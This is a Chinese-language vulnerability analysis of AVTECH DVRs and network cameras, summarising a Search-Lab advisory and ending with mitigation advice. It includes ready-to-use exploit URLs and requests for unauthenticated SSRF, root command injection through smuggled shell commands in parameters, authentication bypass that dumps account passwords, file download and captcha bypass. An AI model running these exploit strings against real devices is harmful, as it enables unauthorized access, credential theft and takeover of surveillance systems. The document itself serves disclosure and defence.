

视频监控厂商 AVTECH 产品多个漏洞分析

AVTECH 是一家台湾的视频监控设备制造商，公司成立于 1996 年，是世界领先的闭路电视制造商之一，主要产品有监控设备，网络摄像机，网络录像机等。

近日，匈牙利安全公司 Search-Lab 发表了一份公告详细的披露了 AVTECH 监控产品存在的 14 个漏洞，事实上早在一年之前，该公司就先后 4 次尝试向 AVTECH 公司通报发现的漏洞，但是均没有收到回应，该公司于一周之前公布了整个漏洞的详情。

漏洞详情：

由于很多设备可以直接通过公网 IP 地址访问，所以影响较大，本文详细的分析漏洞的成因和利用方式。

1、未经身份验证的信息泄露

由于/cgi-bin/nobody 目录下的 CGI 脚本文件运行权限设置不合理，导致可以在未认证的情况下直接运行，此类型漏洞已经在多个设备中出现，斐讯 K1 就是因为 cgi 文件执行权限限制不合理，导致可以直接获取路由器的所有配置信息。

攻击链接示例：

http://<device_ip>/cgi-bin/nobody/Machine.cgi?action=get_capability，获取摄像头的设备信息。



```
0
OK
Firmware.Version=1015-1006-1008-1002
MACAddress=00 0E 53 ED A9 3E
Product.Type=DVR
Product.ID=7440
Product.ShortName=V_full_Indep_V_Multistream
Video.System=PAL
Audio.DownloadFormat=ULAW
Video.Input.Num=4
Video.Output.Num=1
Video.Format=H264,MPEG
Video.Format.Default=H264
Video.Resolution=4CIF,CIF
Video.Quality=BEST,HIGH,NORMAL,BASIC
Video.Local.Input.Num=4
Video.Local.Output.Num=1
Video.Local.Format=H264,MPEG
Audio.Input.Num=4
Audio.Output.Num=0
Audio.Format=ULAW
Audio.Local.Input.Num=4
Audio.Local.Output.Num=1
Audio.Local.Format=PCM
Language.Default=ENGLISH
Language.Support=ENGLISH,CHINESE,JA,FRAN,SE,GERMAN,SPAN,SRB,PT,PTUG,ES&ITALIAN,TURK,ISR,POL,SRB,US,SI,AN&US,TOMI,ZEATHA,IA,VIETNAM,DUTCH,GREEK,ARABIC,CE,CHUNG,ARI,AN,HEBREW,CHINA
Capability=0.3.0&.1
```

2、DVR 设备存在着无需用户登录的 ssrf 漏洞

在 DVR 设备中，Search.cgi 可以直接被访问，Search.cgi 负责搜索和访问本地网络中的摄像头，Search.cgi 提供了 cgi_query 功能，通过设置 ip，port 和 queryb64str 三个参数可以实现直接访问本地网络中的摄像头。

利用实例构造如：

http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==

http://<device_ip>/cgi-bin/nobody/Search.cgi?action=scan 获取局域网中所有的摄像头的配置信息。

```
0
OK
Search.Device0.Type=IP CAMERA (FIX)
Search.Device0.Proto=DHCP
Search.Device0.MAC=00:0e:53:28:21:28
Search.Device0.IPAddress=10.1.1.16
Search.Device0.Netmask=255.0.0.0
Search.Device0.Gateway=10.1.1.10
Search.Device0.DNS=8.8.8.8
Search.Device0.Port=88

Search.Device1.Type=IP CAMERA (FIX)
Search.Device1.Proto=DHCP
Search.Device1.MAC=00:0e:53:23:ce:0c
Search.Device1.IPAddress=10.1.1.22
Search.Device1.Netmask=255.0.0.0
Search.Device1.Gateway=10.1.1.10
Search.Device1.DNS=8.8.8.8
Search.Device1.Port=88

Search.Device2.Type=IP CAMERA (FIX)
Search.Device2.Proto=DHCP
Search.Device2.MAC=00:0e:53:ef:0f:70
Search.Device2.IPAddress=10.1.1.23
Search.Device2.Netmask=255.0.0.0
Search.Device2.Gateway=10.1.1.10
Search.Device2.DNS=8.8.8.8
Search.Device2.Port=88

Search.Device3.Type=IP CAMERA (FIX)
Search.Device3.Proto=DHCP
Search.Device3.MAC=00:0e:53:23:e9:a3
Search.Device3.IPAddress=10.1.1.20
Search.Device3.Netmask=255.0.0.0
Search.Device3.Gateway=10.1.1.10
Search.Device3.DNS=8.8.8.8
Search.Device3.Port=88

Search.Device4.Type=IP CAMERA (FIX)
Search.Device4.Proto=DHCP
Search.Device4.MAC=00:0e:53:25:63:96
Search.Device4.IPAddress=10.1.1.12
Search.Device4.Netmask=255.0.0.0
```

3、DVR 设置存在着无需用户登录的命令执行漏洞

Search.cgi 中提供的 cgi_query 功能是通过 wget 功能实现 HTML 请求，但是由于对参数没有验证和过滤，可以通过构造参数实现 root 权限的任意系统命令的执行。

实例链接如下：

```
http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com
&port=80&queryb64str=LW==&username=admin%20;XmlAp%20r%20Account.User1.Passw
ord>$(ps|grep%20Search.cgi|grep%20-v%20grep|head%20-n%201|awk%20'
{print%20"/tmp/"$1".log"}');&password=admin
```

```
0
OK
admin
```

4、认证绕过漏洞

可以通过两种方式实现认证绕过：

第一种是.cab 方式，cab 格式文件是视频播放器插件，存储在 web 的根目录下，它可以无需验证直接被访问和下载，而设备端只是通过 strstr 函数查找链接中是否存在.cab 字段，

如果含有就直接认为免认证。

第二种是 nobody 方法，同样由于设备端只是通过 strstr 函数去查找链接中是否存在 nobody 字段，如果有就直接免认证。

两种方式的链接可以如下，.cab 和/nobody 可以放在链接中的其他地方，获取设备的配置信息，其中包括登录的用户名和密码。

`http://<device_ip>/cgi-bin/user/Config.cgi?.cab&action=get&category=Account.*`

`http://<device_ip>/cgi-bin/user/Config.cgi?/nobody&action=get&category=Account.*`



5、web 根目录下任意文件下载

由于.cab 字符串是通过 strstr 方法验证的，那么可以通过在文件名称末尾加上?.cab 实现文件下载。作者类推的实验了一下在链接后加上?/nobody，也可以下载文件，漏洞的原因相同。

实例链接：

`http://<device_ip>/cgi-bin/cgibox?.cab`

`http://<device_ip>/cgi-bin/cgibox?/nobody`

6、登录验证码绕过

设备在登录时通过增加验证码方式防止暴力猜解用户名和密码，但是由于系统设计的不合理，可以通过增加 login=quick 直接绕过。

链接格式如下：

`http://<device_ip>/cgi-bin/nobody/VerifyCode.cgi?account=<b64(username:password)>&login=quick`

如果没有采用 quick 方式的话，链接的格式如下：

`http://<device_ip>/cgi-bin/nobody/VerifyCode.cgi?account=<b64(username:password)>&captcha_code=ZVFU&verify_code=ZVmHTLN5eiGB`

由于 captcha_code 和 verify_code 是配套的，我们可以通过人工设置使他们保持一致同样可以绕过验证码验证，从而暴力猜解用户名和密码。

7、认证后的多个任意命令执行漏洞

第一个：设备通过 CloudSetup.cgi 支持 Avtech 云服务，在登录认证通过之后，由于没有对参数进行验证，可以通过 exefile 参数以 root 权限执行任意命令。

`http://<device_ip>/cgi-bin/supervisor/CloudSetup.cgi?exefile=ps`

第二个：部分设备支持 ActionD 命令，通过 adcommand.cgi 文件实现，新版本设备的 ActionD 提供了 DoShellCmd 功能，在认证通过之后，由于没有对参数进行验证，可以以 root 权限执行任意命令。此功能需要以 post 方式实现，其中 cookie 中的 SSID 为用户名和密码的 base64 值。

`POST /cgi-bin/supervisor/adcommand.cgi HTTP/1.1`

Host: <device_ip>
Content-Length: 23
Cookie: SSID=YWRtaW46YWRtaW4=
DoShellCmd "strCmd=ps&"

第三个: PwdGrp.cgi 文件在增加用户或者修改用户时, 由于没有对参数进行验证, 可以同时以 root 权限执行其他命令。

http://<device_ip>/cgi-bin/supervisor/PwdGrp.cgi?action=add&user=test&pwd=;reboot;&grp=SUPERVISOR&lifetime=5%20MIN

8、其他安全漏洞

第一个: 使用没有认证证书的 Https 服务。系统中的 SyncCloudAccount.sh, QueryFromClient.sh 和 SyncPermit.sh 使用 wget 去访问 https 网站, 如 <https://payment.eagleeyes.tw> 等。由于没有证书验证, 此 https 通信可能遭受中间人攻击。

第二个: 密码明文存储。容易被攻击轻易获取所有的用户登录密码等敏感信息。

第三个: CSRF 漏洞。设备没有任何防 CSRF 攻击的措施, 当管理员正登录时, 可能受到 CSRF 攻击。

补救措施:

在 shadon 上搜索关键词 “Avtech”, 有超过 13 万个设备暴露在互联网中, 当前 avtech 关键词搜索已经成为 shadon 上排名第二的热词, 由于厂商目前还没有提供固件更新, 所以大家采取如下措施来保护:

- 1、修改默认的登录密码;
- 2、限制用户通过公网访问设备的 web 功能。

参考资料:

- 1、<http://www.search-lab.hu/advisories/126-avtech-devices-multiple-vulnerabilities>
- 2、<https://github.com/ebux/AVTECH>
- 3、<http://www.securityweek.com/serious-flaws-expose-avtech-devices-iot-botnets>